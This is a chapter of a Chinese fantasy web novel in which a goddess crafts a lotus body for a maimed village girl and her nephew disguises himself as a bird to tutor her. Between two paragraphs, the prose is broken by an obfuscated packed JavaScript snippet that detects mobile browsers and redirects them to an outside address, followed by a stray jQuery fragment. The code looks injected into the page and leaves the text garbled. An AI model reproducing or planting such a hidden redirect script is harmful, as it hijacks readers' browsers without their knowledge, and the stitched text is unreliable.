历幽末年·小桃源
有天象坠落。
外出捕鱼归来的人说,河边落了一把刀,漂亮得很,可惜他们谁都拔不出来。
何舒栾有些好奇,和姐姐舒棠约好了,待天晴便去瞧瞧。
那一日的天气真真很好。
只是,姐妹俩还没走到村口,就有人从山里跑出来,朝孩子们嘶喊:“快跑,上船去!”
有怪物从山上下来了。
舒栾只看见遮天蔽日的黑烟。
她好像不会动了。
是姐姐推了她一把。
“去拿刀!”
十二岁的孩子大概这辈子都没跑得那样快。
那把刀真的很漂亮。通体莹白,仿佛把湛湛天光都收进刀身里。
但它实在太沉了。
舒栾不知道怎么把它拔起来。
可是,真的来不及了!
有奇怪的东西已经缠上她的左手。她不敢回头。
她想起幼年见过的老麻蛇。那么长一条,要是竖起来,大概比她家的房子还高。
她当时也害怕极了,但那天还遇见一位神仙姐姐。神仙姐姐帮她赶走了老麻蛇,还交待她,还有些蛇长得极美,也极危险。总而言之,不管是丑的、美的,她见到了一定得躲着点,像她这样的小童子最招吃人的怪物。
现在,没有神仙。
她,往哪里躲?
对,还有刀。
舒栾是个勤快孩子,她知道怎么抡起刀劈柴。
所以,手起刀落,她没了左边臂膀。
这把刀太快,她甚至感觉不到痛。只记得,姐姐还在前面等她回家。
姜月明在河边捡到一节臂膀,在山脚下找着她的刀,还有一个只剩半口气咽不下的小姑娘。
原是因果未尽,她死不了。
·
广泽元年·初夏
微雨过,小荷翻,榴花开欲燃。
姜月明搜罗了各色各样的一大堆莲荷,外加无数天材地宝。
她想给捡回望月峰的小姑娘造具能修仙的灵体。
“你读过西游记吗?”
何舒栾飘在一朵莲花里,朝她摇头。
“那听说过哪吒吗?”
还是摇头。
“唔~那大概是小栾的夫子不讲这些。”
姜月明揪出几串灵藕,对着舒栾左右比划,循循善诱道:“我得给小栾重新造具身子。哪吒是莲花莲藕扎的,他有三头六臂,小栾想要吗?”
舒栾脑袋摇得像拨浪鼓——三头六臂什么的,听着好可怕。
“那好吧。”姜月明托腮想了想,“不过我之前没造过人,也不大精通炼器,得再琢磨琢磨。”
“我去找个宗师问问,小栾你躲好,别晒着魂啊。”
她带着莲藕飘也似的飞走了,临走还不忘给舒栾戴上一顶荷叶帽。
远远地又传来一句:
“小栾你再考虑考虑嘛,就算想要九个头、八个爪子,也都可以的。”
·
改造步天梯的第不知道多少天,庄衍炘以为自己这回真的积劳成疾,一命呜呼了。
不然,姨母为什么会在他的炼器炉上啊???
没听说过神陨落之后还会回魂!
“衍炘啊,姨母给你捡了个主心骨,感不感动?”
“就是差具身体,你会炼么?”
???
庄衍炘不感动,不理解,但他无法拒绝。
“所以我为什么不能现身?”
庄衍炘觉得这忒没道理,他是来给人造灵躯的,未来还要给人当道使,怎么连面都不能见?
“你身上煞气太重,而且小栾怕生人。”
厌幽一劫,庄衍炘驻守姜城,一夫当关万夫莫开,斩杀的恶灵何止万千,煞气当然重。
可论煞气,谁比得过狼牙月?
“……”
他暗自腹诽,却不敢说出口——神明大人似乎忘了,狼牙月这把万中无一的杀器,人家小姑娘都握得住。
“要做什么?”
他认命似的,瞧瞧温养在莲荷中的孤魂,又瞧瞧神明准备的天材地宝。
一应俱全,应当可行。
“不要三头六臂,其他嘛随意点啦,她很聪明的,和以前差不多就好?”
“我又没见过以前的她。”
庄衍炘实在不想接这烫手山芋,时日无多的神明给凡人造灵体,亏她想得出来。
“谁要你造了?自然是我亲自来。”
姜月明赏他一个暴栗。
“……那为什么非要莲花莲藕?”
庄衍炘揉着额角,对姨母的执着十分不解,“那些溟沧翠竹不是更好?”
“欸——”姜月明这才想起来,这也是个不晓得哪吒三太子的。
“侄儿瞧着她的脾性与‘木’与‘风’更合些,灵根也该往这些靠。”
耗费一年八个月零十一天,何舒栾有了一具能修仙的新身体。
就是不大好控制。
“孃孃!”
“山里有老鹰欸!!!”
“比房子还大的老鹰!”
“它要吃我!孃孃救——”
话音未落,舒栾一拳挥出,那“老鹰”应声坠落。
代价是灵力溢出,小姑娘吐了好几口血。
“老鹰”一朝不慎着了道,此后许久都躲着舒栾走。毕竟神明下手没有轻重,造出来的人太过巧夺天工、力量非凡。
呃……
姜月明无奈扶额,谁叫这栗鸢来得那么张扬?
展翅开屏,不是活该被打?
又一年中秋,何舒栾十五岁生辰,行过笄礼得了“均翕”为字。还得了一天假,神明许她下山自在玩耍。
归家时,她捡到只受伤的小鹩莺。
翠青翎羽,翅缘一抹琉璃墨,流光溢彩的,漂亮极了。舒栾从没见过那么美丽的莺鸟。
可它翅膀收受了伤,巴掌大的鸟儿蔫哒哒的,好可怜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281536|198368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姜月明瞧着小姑娘房前屋后乱忙一通,不但找了伤药来为莺鸟包扎,还给它搭了座小房子,就放在她的窗台上。
那莺鸟也颇通灵性,乖乖地随她折腾。
有点好玩诶。
神明养过天狼,养过栗鸢,还养过螣蛇,都是些庞然大物,还真没养过这种小不点儿。
不对!
她定睛细看,这不是她的傻侄儿吗?
庄衍炘他发什么癫?
可小栾的兴致那么高,又是过生辰,她不忍心拆穿了。反正有她在,应当也翻不出什么浪来。
舒栾给这小鹩莺取了名字,叫“嘤嘤”。在她的悉心呵护下,不过短短几日,嘤嘤就恢复如初。
姜月明起初还能自我说服,这不过就是个化身,当不得真的。只要再过些时日,小栾大概就会淡了心思,不会再天天夹着嗓子喊“嘤嘤”。
可庄衍炘这具化身竟然整日的撒娇卖痴,毫无大妖体统。
神明实在忍不了他这副惑人子弟的蠢样子,就算是羽毛变的化身也不行!
所以,何舒栾难以置信地瞧着她的小鹩莺变了大模样。一翅膀挥下来,大概能把她整个人都扇飞几里地。
这就是给神明送信的“青鸟”吗?
这么说也没什么不对,神明大度地理解了栗鸢不敢以原身示人的羞涩。毕竟第一次见面就害主君吐了血,是没什么脸面再见人。
不管初入道途的舒栾能不能理解,她的嘤嘤摇身一变,成了修为高强的“教习”。日复一日、兢兢业业地陪她探索灵力,同她控制这副崭新的躯体。
嘤嘤当教习真的很称职,除了本源道法,舒栾的任何问题,他都有问必答。
何舒栾很喜欢嘤嘤,无论他是鹩莺,还是教习。
如果日子一直这样过就好了。
庄衍炘现在万分惆怅,对着那只小鹩莺咕咕叨叨:
“嘤嘤,待会儿主君回来,咱俩谁去迎?”
“皦皦看我肯定不顺眼,看你应该还行。”
没等他叨叨出个一二三四,识海冒出一道咬牙切齿的声音:
“庄敛冥!”
“你又在我识海里捣什么鬼了?”
“我的鹩莺,你什么时候偷过去的?”
???
这又从何说起?
主君出门后,他一直老老实实地呆在寝殿里,什么都没干,实在冤枉。
况且这灵索还没解呢,除了对着化身自说自话,他还能干什么?
下一瞬,他听见了风声飒飒,木叶萧萧;他看见了碧海青天,一轮孤月。
这是皦皦现在的所见所闻!?
“仙尊大人,您的妖宠契约,副作用好像有点多?”
“……”这回真不是他干的。
风泠自慎思塔出来,心里念着某个呆子,刚想解开识海传音,就被迫听了一大通小话。
都怪那古怪契约,她俩现在除了各有半颗妖心,连识海也各占半个了。